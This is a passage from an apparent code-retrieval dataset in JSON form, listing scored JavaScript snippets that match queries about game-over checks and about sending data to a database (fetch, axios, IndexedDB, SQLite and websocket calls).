{\n\t\t$(\"#time_left\").css(\"color\", \"red\");\n\t}\n\n\tif( time_left < 0.1) {\n\t\trunAnim = false;\n\t\t$(\"#instruction\").show();\n\t\t$(\"#result\").text(\"You Final Score: \" + score);\n\t\t$(\"#scoreboard\").hide();\n\t}\n}", "title": "" }, { "docid": "e3a2bd61b355f3c499ae2eb0d6af1e47", "score": "0.5800153", "text": "function checkPlayerChoice(playerChoice) {\n console.log(guessCounter, stepCounter); // for testing\n // if player got the sequence correct, add one step to sequence\n if (playerChoice == computerSequence[guessCounter]) {\n soFarSoGood = true;\n if (guessCounter == stepCounter - 1) {\n stepCounter++;\n setTimeout(addOneStepToSequence, 2000);\n }\n // if play got the sequence wrong...\n } else if (playerChoice !== computerSequence[guessCounter]) {\n soFarSoGood = false;\n $(\"#stepCounterDisplay\").text(\"!!\");\n if (strictOn == false) {\n setTimeout(function() {\n playSequence();\n $(\"#stepCounterDisplay\").text(stepCounter);\n }, 2000);\n } else if (strictOn == true) {\n stepCounter = 1;\n setTimeout(function() {\n start();\n $(\"#stepCounterDisplay\").text(1);\n }, 2000);\n }\n $(\".quarterCircle\").prop(\"disabled\", true);\n }\n console.log(soFarSoGood);\n}", "title": "" }, { "docid": "2f7fbe0c58681b3b08fe911b741b2b2a", "score": "0.57991236", "text": "function canFinishHim()\n{\n\tvar enemyLife = getLife(myEnemy);\t\n\treturn ((enemyLife - getWeaponPotentialDamages()) <= 10 || enemyLife <= 40);\n}", "title": "" }, { "docid": "c114b71aead2d308ec58ad8ddad03b09", "score": "0.579878", "text": "function isEndgame() {\n\treturn player.points.gte(modInfo.endgame)\n}", "title": "" }, { "docid": "dd0951b535f9023d0e66d7319454c4f7", "score": "0.5796004", "text": "hasWon() {\n let playerScore = this.totalScore();\n if (playerScore >= 100) {\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "7fe45ef1929cf58816e008f570ec41b0", "score": "0.57951546", "text": "function recoveryDelayP1() {\n if (player_1.chute) {\n // chute fica 300ms ativo, player ataca, mas fica invulnerável\n setTimeout(function() {\n player_1.chute = false;\n }, 200);\n }\n if (player_1.soco) {\n // mesmo para o soco\n setTimeout(function() {\n player_1.soco = false;\n }, 200);\n }\n\n}", "title": "" }, { "docid": "66bf9a41e7f2cf246e81bfba1afd21eb", "score": "0.57919127", "text": "check_round_finished() {\n if (Object.keys(this.players).every(p => this.players[p].passed || this.players[p].finished)) {\n // new round\n Object.keys(this.players).forEach(p => this.players[p].passed = false);\n this.update_next_player(this.last_played_player);\n this.last_played_cards = [];\n }\n }", "title": "" }, { "docid": "8e1e03e41c27f5e8a724297c4553982d", "score": "0.57863677", "text": "function checkIfHit() {\n\n if (playerShips === 0){\n firing.play()\n } else {\n errorMessage.classList.add('message-in')\n errorMessage.innerText = 'You need to place your ships first'\n }\n\n setTimeout(() => {\n if (playerShips === 0 && playerTurn) {\n if (this.classList.contains('ship')) {\n this.classList.add('hit')\n explosion.play()\n this.removeEventListener('click', checkIfHit)\n clickedIndex = computerSquares.indexOf(this)\n isShipDestroyed()\n } else {\n this.classList.add('miss')\n splash.play()\n this.removeEventListener('click', checkIfHit)\n playerTurn = false\n }\n }\n }, 1500)\n setTimeout(computerGuess, 3000)\n}", "title": "" }, { "docid": "3b4c91160391fbb3420e12e85a57849c", "score": "0.5783063", "text": "function checkGameOver() {\r\n \r\n if (clickers === 0) {\r\n const taken = Math.round((Date.now() - startTime) / 1000);\r\n alert(`De-rick-ed in ${taken} seconds!`);\r\n }\r\n}", "title": "" }, { "docid": "100e5a37ccbf4ca62f6aac04493dd313", "score": "0.5775591", "text": "function checkGameWin() {\n if (matches === 12) {\n moves++;\n clearInterval(timeInterval);\n setTimeout(openModal(),500);\n }\n}", "title": "" }, { "docid": "412de0a48db220d7367c2311c7ee6245", "score": "0.57747275", "text": "function isLoser() {\n // if the numGuessesRemaining is 0 then -1 numLosses and switch isFinished to true\n if(numGuessesRemaining === 0) {\n numLosses++;\n isFinished = true;\n }\n\n}", "title": "" }, { "docid": "583ea6e8647eaa5129b3e94b1c889c79", "score": "0.57691157", "text": "canBeSeen() {\n //Face the player\n if(this.facingDirection !== this.reverseDirections[facingDirection]) {\n this.facingDirection = this.reverseDirections[facingDirection];\n }\n //Increment spottedCounter and move if the GraveWraith has been looked at for too long.\n this.spottedCounter++;\n if(this.spottedCounter >= this.maxTimeSpotted) {\n switch(facingDirection) {\n case \"up\":\n this.y = this.player.y + (this.player.y - this.y);\n break;\n case\"down\":\n this.y = this.player.y + (this.player.y - this.y);\n break;\n case\"left\":\n this.x = this.player.x + (this.player.x - this.x);\n break;\n case\"right\":\n this.x = this.player.x + (this.player.x - this.x);\n break;\n }\n this.spottedCounter = 0;\n this.cooldownCounter = this.attackCooldown;\n }\n }", "title": "" } ]
00dee2d39722b32638b1c053821236cf
To send data to data base
[ { "docid": "27c7e063c77db4b92a25596a5ff44745", "score": "0.0", "text": "handleSubmit(event) { \n event.preventDefault();\n const newMessge = {\n user_name: this.state.name,\n user_email: this.state.email,\n phone_number: this.state.phoneNumber,\n user_message: this.state.message\n }\n\n if (this.state.name === \"\" || this.state.email === \"\" || this.state.phoneNumber === \"\" || this.state.message === \"\") {\n alert(null + \"Please fill-out all entries\");\n\n }\n else{\n axios.post('/api/db/contact-me', newMessge)\n .then(function (data) {\n alert('Thank you!');\n window.location.reload(); \n });\n } \n }", "title": "" } ]
[ { "docid": "2c21c77f5134e0c0afeb632ff13a14f9", "score": "0.74775326", "text": "function sendData() {\n var now = $.now();\n\n database.push({\n \"userId\": getUserId().toString(),\n \"sessionId\": getSessionId().toString(),\n \"now\": now.toString(),\n \"datetime\": (new Date(now)).toString(),\n \"gender\": getGender().toString(),\n \"age\": getAge().toString(),\n \"historicalData\": historicalData,\n \"noiseArray\": getNoiseArray()\n });\n}", "title": "" }, { "docid": "676e2e3f62b9fa6c54d3f7d9c77bdc29", "score": "0.7065482", "text": "request_data() {\r\n var message = new Message(gui)\r\n message.recipient = \"controller/db\"\r\n message.command = \"GET\"\r\n message.args = this.widget[\"sensor\"]\r\n gui.sessions.register(message, {\r\n })\r\n this.send(message)\r\n }", "title": "" }, { "docid": "676e2e3f62b9fa6c54d3f7d9c77bdc29", "score": "0.7065482", "text": "request_data() {\r\n var message = new Message(gui)\r\n message.recipient = \"controller/db\"\r\n message.command = \"GET\"\r\n message.args = this.widget[\"sensor\"]\r\n gui.sessions.register(message, {\r\n })\r\n this.send(message)\r\n }", "title": "" }, { "docid": "5fb389c65e9c0cb0f408dda06c0c4a43", "score": "0.68704325", "text": "function sendToDatabase() {\n database.ref().set({\n name1: name1,\n p1select: p1select,\n p1wins: p1wins,\n p1losses: p1losses,\n p1ties: p1ties,\n name2: name2,\n p2select: p2select,\n p2wins: p2wins,\n p2losses: p2losses,\n p2ties: p2ties,\n rock1: rock1,\n rock2: rock2,\n paper1: paper1,\n paper2: paper2,\n scissors1: scissors1,\n scissors2: scissors2,\n chatarray: chatarray,\n chatindex: chatindex,\n addchat: addchat\n });\n}", "title": "" }, { "docid": "0c6feed1eb24dea55962911cc524518a", "score": "0.68293226", "text": "function saveMessageToDataBase(data) {\n var http = require('http');\n var queryString = require(\"querystring\");\n var qs = queryString.stringify(data);\n var qslength = qs.length;\n var options = {\n hostname: hostname,\n port: mainPort,\n path: path + '/Messages/send',\n method: 'POST',\n type: \"json\",\n headers: {\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'token': data.userToken,\n 'Content-Length': qslength\n }\n };\n\n var buffer = \"\";\n var req = http.request(options, function (res) {\n res.on('data', function (chunk) {\n buffer += chunk;\n });\n\n res.on('error', function (e) {\n console.log(\"Got error: \" + e.message);\n });\n });\n\n req.write(qs);\n req.end();\n\n }", "title": "" }, { "docid": "dc76922148f1d508eca2c7fe6efefab0", "score": "0.67604595", "text": "function sendToDB(data){\n request.post({\n url: baseURL+\"classes/\"+data['roomNumber'],\n json: true,\n headers: {\n \"X-Parse-Application-Id\": \"ac300f8d17f1b7d1f01e251f091a8000d5aeb6b0\",\n \"X-Parse-REST-API-Key\": \"cc8437b78d96a16a09d2a89badb84b7c19412d2a\",\n \"Content-Type\":\"application/json\",\n \"X-Parse-Session-Token\":\"r:2bd13b533beef317c2f97c836bd3aae4\"\n },\n body: data\n }, function(error, response, body) {\n \tconsole.log(body);\n });\n}", "title": "" }, { "docid": "a4bd2704a30b7822aaef29754b4ad1f6", "score": "0.6230698", "text": "function sendData() {\n if (textToSend.value == \"\") return;\n \n message = new Paho.MQTT.Message(textToSend.value);\n message.destinationName = \"projects/nordicoasys/topics/data\";\n client.send(message);\n updateDoc(textToSend.value);\n if (textToSend.value == \"cls\") textToReceive.value = \"\";\n textToSend.value = \"\";\n}", "title": "" }, { "docid": "ad84eee09fbda0091f1523f8999d1547", "score": "0.62187314", "text": "sendData(data) {\n this.sendMessage({ type: 'send', data });\n }", "title": "" }, { "docid": "3419fff3baec69478a86905aed1184a8", "score": "0.61959463", "text": "function sendData(id, acctype, name, uname, Pword) {\n fetch('http://localhost:5000/register', {\n headers: {\n 'Content-type': 'application/json'\n },\n method: 'POST',\n body: JSON.stringify({\n id: arguments[0],\n Acctype: arguments[1],\n name: arguments[2],\n Uname: arguments[3],\n Pword: arguments[4]\n })\n })\n .then(response => response.json())\n}", "title": "" }, { "docid": "9edead5af2be054229edb11097f3b559", "score": "0.61955976", "text": "function send(data){\n socket.emit('commitTransaction', data);\n }", "title": "" }, { "docid": "e50cc0b278366c3c7b79a3b3c86322da", "score": "0.6140598", "text": "dataPost(params){\n params=params || {};\n params.requestType=\"POST\";\n this.dataTransport(params);\n }", "title": "" }, { "docid": "83957ff47f339eec3eedb06c8744ca31", "score": "0.6126035", "text": "async sendOrder () {\n //envia la orden al puerto 3002 que es del motorista y llama a /accept del router del biker-router\n const data = await fetchQuery('http://127.0.0.1:3002/accept', 'POST', this.orderinfo)\n console.log(`La orden se envió correctamente, pedido no. ${data.id}`)\n }", "title": "" }, { "docid": "b1c1f53e652728a3be402c053abd51be", "score": "0.6093264", "text": "function sendUpdateData() {\n\n var url = 'http://localhost:3000/users/' + vm.currentUserId;\n\n var dataToUpd = {\n first_name: vm.updf_name,\n last_name: vm.updl_name,\n email: vm.updemail,\n gender: vm.updgender\n }\n\n $http.put(url, dataToUpd);\n }", "title": "" }, { "docid": "781eee8e7620ad03110a0b8ab9b5f0d5", "score": "0.6086383", "text": "sendGuiData(){\n\t\tvar self = this\n\t\tvar bytesToFPGA = []\n\t\tvar f_clk = Math.round(50000/self.guiData.f_kHz)\n\t\tbytesToFPGA=bytesToFPGA.concat(\n\t\t\tself.intTo3Bytes(f_clk, 1)) \n\t\tvar OCD_PWM = Math.round(self.guiData.OCD_A)\n\t\tbytesToFPGA=bytesToFPGA.concat(\n\t\t\tself.intTo3Bytes(OCD_PWM, 10)) \n\t\tbytesToFPGA.push(self.guiData.invert*4)\n\n\t\tvar dataSend = {\n\t\t\t\"bytesToFPGA\":bytesToFPGA,\n\t\t\t\"ontime_us\":Math.round(self.guiData.ontime_us)}\n\t\tconsole.log(dataSend)\n\t\tif(self.connection) self.connection.send(JSON.stringify(dataSend))\n\t}", "title": "" }, { "docid": "81097cc3920211ae9b83b651915d17b5", "score": "0.60799044", "text": "function sendData(tech)\n {\n var speakers;\n var fires;\n tech.emit(\"updateThreshold\", fireThreshold, speakerThreshold);\n models.Speaker.findAll().success(function(s) {\n speakers = s;\n models.Fire.findAll().success(function(f) {\n fires = f;\n var data = {'speakers' : speakers, 'fires' : fires};\n tech.emit('data', data);\n });\n });\n }", "title": "" }, { "docid": "5c031e47526cc42f948522f77589431d", "score": "0.60693586", "text": "function Prod_add_data(obj)\n{\nconsole.log(obj); \n\n\ndatabase.transaction(function(tx) {\n tx.executeSql('INSERT INTO products(code,desc,unit,price) VALUES (?,?,?,?)', [obj.code,obj.desc,obj.unit,obj.price]);\n }, function(error) {\n console.log('Transaction ERROR: ' + error.message);\n }, function() {\n console.log('Data added');\n\tredirect('product');\n });\n \n \n \n}", "title": "" }, { "docid": "bb353434d929861c99f8431b70820c1b", "score": "0.6069002", "text": "function sendToServer(sitedata){\n\t\t//Sending data to the server..\n\t\tws.send(sitedata);\n\t}", "title": "" }, { "docid": "91d4e42a989b534649440f79bd438903", "score": "0.60681003", "text": "send (id, data) {\n // Encode object to JSON\n let encoded = Buffer.from (Dump.dump ({\n 'id' : id,\n 'data' : data,\n }));\n\n this._server.send (encoded);\n }", "title": "" }, { "docid": "863a8a9606a2f5fd61823e726612fdad", "score": "0.60647124", "text": "function sendData(data) {\n var numberOfPlayers = parseInt(data[1].replace(/,/g, ''));\n var dataBody = JSON.stringify({ timestamp: data[0], numberOfPlayers: numberOfPlayers});\n client.create({\n index: 'players',\n type: 'onlinePlayers',\n id: data[0],\n body: dataBody\n }, function (err, response) {\n if (err) {\n console.log(err);\n } else {\n console.log(response);\n }\n });\n}", "title": "" }, { "docid": "8c55a2f296b6b409c56166af220ac7e8", "score": "0.6063048", "text": "function sendDataToAllTechs()\n {\n var speakers;\n var fires;\n io.sockets.in(\"techClients\").emit(\"updateThreshold\", fireThreshold, speakerThreshold);\n models.Speaker.findAll().success(function(s) {\n speakers = s;\n models.Fire.findAll().success(function(f) {\n fires = f;\n var data = {'speakers' : speakers, 'fires' : fires};\n io.sockets.in(\"techClients\").emit('data', data);\n });\n });\n }", "title": "" }, { "docid": "237ddd62078b29ec98755334a5c93b61", "score": "0.60548484", "text": "function send_data(data) {\n // Send data to presenter or supervisor.\n var con = myPeer.connect(conn);\n con.on(\"open\", function () {\n con.send(data);\n });\n\n // Send data to server\n socket.emit(\"concent_data\", ROOM_ID, data);\n}", "title": "" }, { "docid": "53f49fef13b6c23ed8125fb8da5f270b", "score": "0.60401833", "text": "async sendData(){\n //demo data:\n const dataToSend = {\n somthing : 'here is something', \n anothering: 'here is another thing', \n \n };\n const response = await axios.post('/api/send-data', dataToSend);\n console.log('Data Sent to server:', response);\n }", "title": "" }, { "docid": "300012825cedf2735131191ee30f92d6", "score": "0.6037965", "text": "function sendData(e) {\n e.preventDefault();\n\n const newHall = {\n hallid, cusNic, bookedDate, bookedDate, noOfSeates, noOfTables, addedFeatures\n }\n\n axios.put(`http://localhost:5000/bookedhalls/update/${id}`, newHall).then(() => {\n\n }).catch((e) => {\n alert(\"error\");\n })\n }", "title": "" }, { "docid": "30fecc35a35471c5e4d4a11e9a0c55fe", "score": "0.6034335", "text": "sendDataToSW() {\n return new Promise((resolve, reject) => {\n const formData = window.indexedDB.open('pwaAppDb');\n\n formData.onsuccess = () => {\n const objStore = formData.result.transaction('formStore', 'readwrite')\n .objectStore('formStore');\n objStore.add({\n number: this.formInput.value,\n date: new Date()\n });\n resolve();\n }\n\n formData.onerror = err => {\n reject(err);\n }\n });\n }", "title": "" }, { "docid": "36b54ea74aa204dfda17cd8fa238f0ad", "score": "0.6008551", "text": "function _storeData() {\r\n\r\n }", "title": "" }, { "docid": "e1d238272dc537cf8a2a72aeb7cf89ec", "score": "0.59973466", "text": "function saveMessageGroupToDataBase(data) {\n\n var http = require('http');\n var queryString = require(\"querystring\");\n var qs = queryString.stringify(data);\n var qslength = qs.length;\n var options = {\n hostname: hostname,\n port: mainPort,\n path: path + '/Groups/send',\n method: 'POST',\n type: \"json\",\n headers: {\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'token': data.userToken,\n 'Content-Length': qslength\n }\n };\n\n var buffer = \"\";\n var req = http.request(options, function (res) {\n res.on('data', function (chunk) {\n buffer += chunk;\n });\n res.on('end', function () {\n socket.emit('socket_group_delivered', {\n groupId: data.groupID,\n senderId: data.senderId\n\n });\n });\n\n res.on('error', function (e) {\n console.log(\"Got error: \" + e.message);\n });\n });\n\n req.write(qs);\n req.end();\n\n\n }", "title": "" }, { "docid": "c081780fc9a8254dc55a54657d6099fb", "score": "0.5991735", "text": "async connect(data){\n\t\ttrace(\"get post\");\n\t\tthis.mvc.app.io.emit(\"register\", data);\n\t\tdata.forEach((key, value) => {\n\t\t\tconsole.log(value + \" \" + key);\n\t\t});\n\t}", "title": "" }, { "docid": "99fd88b65a5316300163ea4bed6ef832", "score": "0.5977427", "text": "function sendParameters () {\r\n var sendJson = JSON.stringify(controlObject)\r\n dashboard.send(sendJson, 0, sendJson.length, dashboardport, dashboardhost, function (err, bytes) {\r\n if (err) throw err\r\n })\r\n}", "title": "" }, { "docid": "8a638ce5d65d6265783a2294f092aae3", "score": "0.5972524", "text": "function postData(){\n //aqui le ponemos al url y decimos que tipo de metodo vamos a estar haciendo post get etc.\n fetch(api,{\n method:'POST',\n //aqui estamos parciando el json a string para enviar se lo al body como key y value/.\n body:JSON.stringify(data)\n \n }).then(res=>res.json())\n //aqui capturamos y mostra mos por consola si hay error en el envio de los datos\n .catch(error=>console.error('error: ',error))\n //aqui capturamos y mostramos por consola si fue exitosa el envio de los datos\n .then(response =>console.log('success: ',response));\n alert(\"Se ha enviado los datos\");\n }", "title": "" }, { "docid": "8bb70b09abc4a85306401d4be36311e3", "score": "0.59284", "text": "function sendSaveData()\n{\n\t// Make sure we only collect and send the UI data if it has been edited \n\tif ( hasUiBeenEdited() ) {\n\t\tlet data = \n\t\t{\n\t\t\tremote: {\n\t\t\t\tleft: elements.remote.css( \"left\" ),\n\t\t\t\ttop: elements.remote.css( \"top\" ),\n\t\t\t\tscale: remoteScale\n\t\t\t},\n\n\t\t\tradar: {\n\t\t\t\tleft: elements.radar.css( \"left\" ),\n\t\t\t\ttop: elements.radar.css( \"top\" ),\n\t\t\t\tscale: radarScale\n\t\t\t},\n\n\t\t\tplateReader: {\n\t\t\t\tleft: elements.plateReader.css( \"left\" ),\n\t\t\t\ttop: elements.plateReader.css( \"top\" ),\n\t\t\t\tscale: readerScale\n\t\t\t},\n\n\t\t\tsafezone: safezone \n\t\t}\n\n\t\t// Send the data\n\t\tsendData( \"saveUiData\", data );\n\t}\n}", "title": "" }, { "docid": "6ef35ddc00ef0469f078bcb43667a77f", "score": "0.5910294", "text": "function sendString( data ) { // Send string - terminate sql connection\n\t\t\t\t\t\t\t\t\t\t\tRes.end( data );\n\t\t\t\t\t\t\t\t\t\t}", "title": "" }, { "docid": "e82f477e7c84a2386be6f8277ea9b1cf", "score": "0.5880936", "text": "function sendFoodToDB() {\n if (foodList.length != 0) {\n console.log(Date.now());\n // Emit to the database\n props.socket.emit(\"recordFoodDiary\", foodList);\n // Reset the form\n document.getElementById(\"Food\").textContent = \"Today's Food: \";\n foodList = [];\n setSuccessMessage(true);\n console.log(Date.now());\n }\n }", "title": "" }, { "docid": "5b282df1332202bc721ca7971cd6d0c9", "score": "0.5877504", "text": "function sendData() {\t\n\twebsocket.send('test');\n}", "title": "" }, { "docid": "7e707903d3eb130663b981c22bfdd819", "score": "0.5856811", "text": "send(name,data){ if (data == null) { data = {}; } return this.ws.send(JSON.stringify([name,data])); }", "title": "" }, { "docid": "74948475a26805c729fb0d6dcad188f3", "score": "0.5835158", "text": "send(data, cb) {\n super.send(data, cb);\n }", "title": "" }, { "docid": "13a247497bbbff2ae65d6b54b7d2e5dd", "score": "0.5833526", "text": "function saveToDatabase(data){\n\t// init database\n\tconst db = openDatabase();\n\t\n\t// on success add user\n\tdb.onsuccess = (event) => {\n\n\t\t// console.log('database has been openned !');\n\t\tconst query = event.target.result;\n\n\t \t// check if already exist symbol\n\t\tconst currency = query.transaction(\"currencies\").objectStore(\"currencies\").get(data.symbol);\n\n\t\t// wait for users to arrive\n\t \tcurrency.onsuccess = (event) => {\n\t \t\tconst dbData = event.target.result;\n\t \t\tconst store = query.transaction(\"currencies\", \"readwrite\").objectStore(\"currencies\");\n\n\t \t\tif(!dbData){ \n\t \t\t\t// save data into currency object\n\t\t\t\tstore.add(data, data.symbol);\n\t \t\t}else{\n\t \t\t\t// update data existing currency object\n\t\t\t\tstore.put(data, data.symbol);\n\t \t\t};\n\t \t}\n\t}\n}", "title": "" }, { "docid": "cf3b7dae7e74c95f04d3fa74aa7fb67a", "score": "0.5832516", "text": "function saveData() {\n bindToModel();\n _postData(CONTEXT.ctx + '/web/question/language/create.action');\n }", "title": "" }, { "docid": "937da4c7f617ef81962b09ddc97926bc", "score": "0.5829284", "text": "_autoSave(buff){\n\n //build sendData Object\n //Define command for the DB worker\n this._sendData.command = \"ADD\";\n //update pixelMap with actual buffer(pixels on grid)\n this._sendData.pixelMap = buff;\n //set timestamp to now\n this._sendData.timestamp = Date.now();\n //set prev_timestamp to the timestamp of last gridStep\n this._sendData.prev_timestamp = this._actualGridStep.timestamp;\n //send object to worker\n this._worker.postMessage(this._sendData);\n\n //Set command to get last saved gridStep\n this._sendData.command = \"GET_ACTUAL\";\n //send object to worker\n this._worker.postMessage(this._sendData);\n\n\n }", "title": "" }, { "docid": "dcea65d7524f7ddb7c784ba382e6ba31", "score": "0.5807923", "text": "function sendData() {\n db.close(function () {\n // Sort products on price DESC\n data.sort(function (a, b) {\n return b.price - a.price;\n });\n res.setHeader('Content-Type', 'application/json');\n res.send(JSON.stringify(data));\n });\n }", "title": "" }, { "docid": "2c59852a34ec3bc2daaa4439c83da58b", "score": "0.58012146", "text": "function sendData(id){\n let index=0;\n switch(id)\n {\n case one:\n index = 0;\n break;\n case two:\n index = 1;\n break;\n case three:\n index = 2;\n break;\n case four:\n index = 3;\n break;\n case five:\n index = 4;\n break;\n\n }\n var getData = \n {\n \"postAuthor\": document.getElementsByClassName('postAuthor')[index].innerText,\n \"contentHead\":document.getElementsByClassName('head')[index].innerText,\n \"contentData\": document.getElementsByClassName('content')[index].innerText,\n }\n localStorage.setItem('dataKey', JSON.stringify(getData ));\n }", "title": "" }, { "docid": "d84befb621f7377c052657c7644ac4c2", "score": "0.58005106", "text": "function FD(data){\n a.estado = true;\n data.numViaje = a.NumeroViaje; \n data.codigo = a.hash('VIA_');\n console.log(data);\n e.saveData(data).then(function (respuesta) {\n \n a.estado = false;\n // CD();\n console.log(respuesta);\n var codError = respuesta.data.codError;\n var mensaje = respuesta.data.mensaje;\n \n\n \"CO00\" === codError ? f.error(mensaje,'Error!') : !0;\n \"0E00\" === codError ? f.warning(mensaje,'Cuidado!') : !0;\n \"SI00\" === codError ? f.success(mensaje, 'Genial!') && c.go('home.viajes') : !0;\n \n \n })\n }", "title": "" }, { "docid": "c6424297c7c1270df9fb0b13154cc496", "score": "0.57916945", "text": "changeData() {\n console.log('POST REQUEST');\n }", "title": "" }, { "docid": "3ff113493ad3f02503bbcf83d93473cf", "score": "0.5784779", "text": "function sendTo(connectionId, data) {\n apigw.postToConnection({ ConnectionId: connectionId, Data: JSON.stringify(data) }, function (err, data) {\n if (err) {\n console.log(\"error\", err);\n }\n });\n}", "title": "" }, { "docid": "4f7c9e58f07a21dc16498f1594a80994", "score": "0.57793033", "text": "function sendData(feedback, scale, email) {\n var data = { feedback: feedback, scale: scale, email: email };\n talkToServer('POST', '/exam', data, app.displayResults);\n }", "title": "" }, { "docid": "04c8fb21c45a928cdaa41a0dc792b46b", "score": "0.57620376", "text": "function send_data_to_car(data){\n\tWriter.write(data, true, error_function);\n}", "title": "" }, { "docid": "970d1a087759aaba932e340942c2c553", "score": "0.57496095", "text": "function sendRegID() {\n //hier kommt der Code zum senden an Datenbank hin\n //ist einmal in Variable pushRegID und user in BellUser\n //liest BellUser aus und wenn ungleich leer schickt zur RegId auch username\n}", "title": "" }, { "docid": "e8de05a68adb2c14aedebaa515b63e06", "score": "0.57398254", "text": "writeToDb(summoner, region) {\n console.log('attempting to contact api');\n fetch(`/api/formData?summoner=${summoner}&region=${region}`, {\n accept: 'application/json',\n });\n }", "title": "" }, { "docid": "c2b059b3320c068713d3b20e5fd801a9", "score": "0.5730797", "text": "function DatabasePush(){\n\n}", "title": "" }, { "docid": "c2b059b3320c068713d3b20e5fd801a9", "score": "0.5730797", "text": "function DatabasePush(){\n\n}", "title": "" }, { "docid": "b54de996e483b236631b362f130f28fb", "score": "0.57245034", "text": "async send(ipfsId, data) {\n this.node.logger.silly(`Send message to: ${ipfsId} with data: ${data}`)\n //Get the remote node messages database\n let remoteIncomingDb = await this.node.incoming.getDb(\n this.node.swarm.get(ipfsId).incomingDbId\n )\n\n var message = {\n data: data,\n date: new Date().toISOString(),\n from: this.node.ipfs.id.id,\n to: ipfsId\n }\n\n var hash = await remoteIncomingDb.database.add(message)\n message.read = true\n message.notification = false\n message.type = 'out'\n await this.db.database.put({\n id: hash,\n message: message\n })\n\n this.node.logger.silly(`Sent message with id: ${hash}`)\n }", "title": "" }, { "docid": "11f7dd7123bd8c2b6be4fe2e95818632", "score": "0.57240236", "text": "function onData(data){\n\tconsole.log(\"reeived data, will store in MongoDB\")\n\tconsole.log(data.body)\n\tdata = JSON.parse(data.body)\n\tconst dataPoint = new DataPoint({\n\t\tDate: moment(`${data.Date} ${data.Time}`, 'DD/MM/YYYY HH:mm:ss').add(1, 'hours').format('YYYY-MM-DD HH:mm:ss'),\n\t\tTemp_PT100_1: Number(data['Temp_PT100_1']),\n\t\tTemp_PT100_2: Number(data['Temp_PT100_2']),\n\t\tpH_Value: data['pH_Value'],\n\t\tBag_Height: data['Bag_Height']\n\t})\n\tdataPoint\n\t\t.save()\n\t\t.then(dataPoint => { return DataPoint.find() })\n\t\t.catch(err => { throw Error(err) })\n\tconst statusPoint = new StatusPoint(data)\n\t//console.log(statusPoint)\n\tstatusPoint.Date = moment(`${data.Date} ${data.Time}`, 'DD/MM/YYYY HH:mm:ss').add(1, 'hours').format('YYYY-MM-DD HH:mm:ss'),\n\tstatusPoint.Digester_Heater_1 = data['Digester_Heater_']\n\tstatusPoint\n\t\t.save()\n\t\t.then(statusPoint => { return StatusPoint.find()})\n\t\t.catch(err => { throw Error(err) })\n}", "title": "" }, { "docid": "03f53681510a57b899589340fd21d09f", "score": "0.5721129", "text": "onData() {}", "title": "" }, { "docid": "54be77fcbb168a1d99231fb9714b1e05", "score": "0.5718943", "text": "function pushMysql(url,data){\n var pg = webpage.create();\n pg.customHeaders = {'Content-Type':'application/json'};\n pg.open(url,'post',JSON.stringify(data),function(stat){\n\n (pg.close||pg.release)();\n writingHttp--;\n launcher();\n\n });\n}", "title": "" }, { "docid": "c4e8c8c991d018c9c236ea7159cf9318", "score": "0.5694238", "text": "function sendDataToServer() {\n console.log(\"Sending Data...\");\n \n let url = \"https://elks.codes/server/api/activity\";\n \n let itemsSent = activityData.length;\n\n postData(url, {\"data\" : activityData }, function(response, json) { \n console.log(`RESPONSE CODE ${response.status}`);\n let end = Date.now();\n\n if (response.status == 200 ) { \n activityData = activityData.slice(itemsSent);\n }\n else {\n console.log(json);\n }\n });\n}", "title": "" }, { "docid": "f4d6d461b9c0b8a9fd5e6ec3e0185a0f", "score": "0.56940687", "text": "function sendToolData() {\n\n var data = {};\n data.raw = {};\n\n data.raw.date = $('#Date').val();\n data.raw.team1 = $('#Team1').val();\n data.raw.team2 = $('#Team2').val();\n\n // Remove any validation errors if present\n removeToolValidations();\n\n // Get data validation information\n validated = validateToolData(data);\n\n if (validated.valid) {\n\n // All data is valid so send to server in JSON format\n sendAjaxMatchQuery('http://localhost:3001', JSON.stringify(validated.data));\n\n } else {\n\n // Display validation errors\n displayToolValidations(validated.err);\n }\n}", "title": "" }, { "docid": "e0f3b1b3019a28085b37acf3b1f9e0de", "score": "0.56929463", "text": "function SQliteSendData (data, cb) {\n var exists = fs.existsSync(file);\n\n if(!exists) {\n console.log(\"Creating DB file.\");\n fs.openSync(file, \"w\");\n }\n var db = new sqlite3.Database(file);\n\n db.serialize(function() {\n if(!exists) {\n db.run(\"CREATE TABLE Queries (title TEXT, query TEXT, is_valid INT, created_at INT, updated_at INT)\");\n }\n console.log(data.query);\n //Search if it exists\n db.all('SELECT * FROM Queries WHERE query = ?', data.query, function(err, row) {\n if(err) {\n cb(err);\n } else {\n if (row && row.length > 0) {\n //Update\n console.log(\"Updating record.\");\n db.run(\"UPDATE Queries SET title = ?, updated_at = ?, is_valid = ? WHERE query = ?\",\n data.title, data.updateAt, data.isValid, data.query,\n function(err){\n db.close();\n if (err) {\n cb(err);\n } else {\n SQliteGetQueries(function(err, data){\n cb(err, data);\n });\n } \n });\n } else {\n //create\n console.log(\"Creating record.\");\n db.run(\"INSERT INTO Queries VALUES (?, ?, ?, ?, ?)\",\n data.title, data.query, null, data.createdAt, null,\n function(err){\n db.close();\n cb(err);\n });\n }\n }\n });\n });\n\n}", "title": "" }, { "docid": "57072c02a1789b6cee430d6fe9c0947d", "score": "0.5686621", "text": "sendData(data) {\n this.webSocket.send(data);\n }", "title": "" }, { "docid": "0060ef2c8b733eac13084ffebb183db5", "score": "0.56858754", "text": "save() {\n try {\n this.logging && console.log('save', this.name, { ...this.data }, JSON.stringify(this.data));\n const data = JSON.stringify(this.data);\n this.backend.setItem(this.name, data);\n } catch (error) {\n console.warn(error);\n }\n }", "title": "" }, { "docid": "d9d717fd222d50692c88d8e3668b51c5", "score": "0.56800646", "text": "function modificar(data){\n var transaction = db.transaction([\"list\"], 'readwrite');\n var objectStore = transaction.objectStore(\"list\");\n var requestUpdate = objectStore.put(data);\n requestUpdate.onerror = function(event) {\n alert('ERROR')\n };\n requestUpdate.onsuccess = function(event) {\n };\n }", "title": "" }, { "docid": "40185f449852621b82d134f1660086b6", "score": "0.5675695", "text": "function sendText() {\n // Construct a msg object containing the data the server needs to process the message from the chat client.\n var msg = {\n type: \"action\",\n text: \"button_pressed\",\n };\n \n if (store_nativeSystemType_value == \"android\")\n {\n // Send the msg object as a JSON-formatted string.\n Android.setActivities(JSON.stringify(msg));\n //webSocket.send(JSON.stringify(msg));\n }\n \n }", "title": "" }, { "docid": "443b36b11548c58cd667f0c3fc6781dc", "score": "0.5675259", "text": "function addMessagetoDB(data) 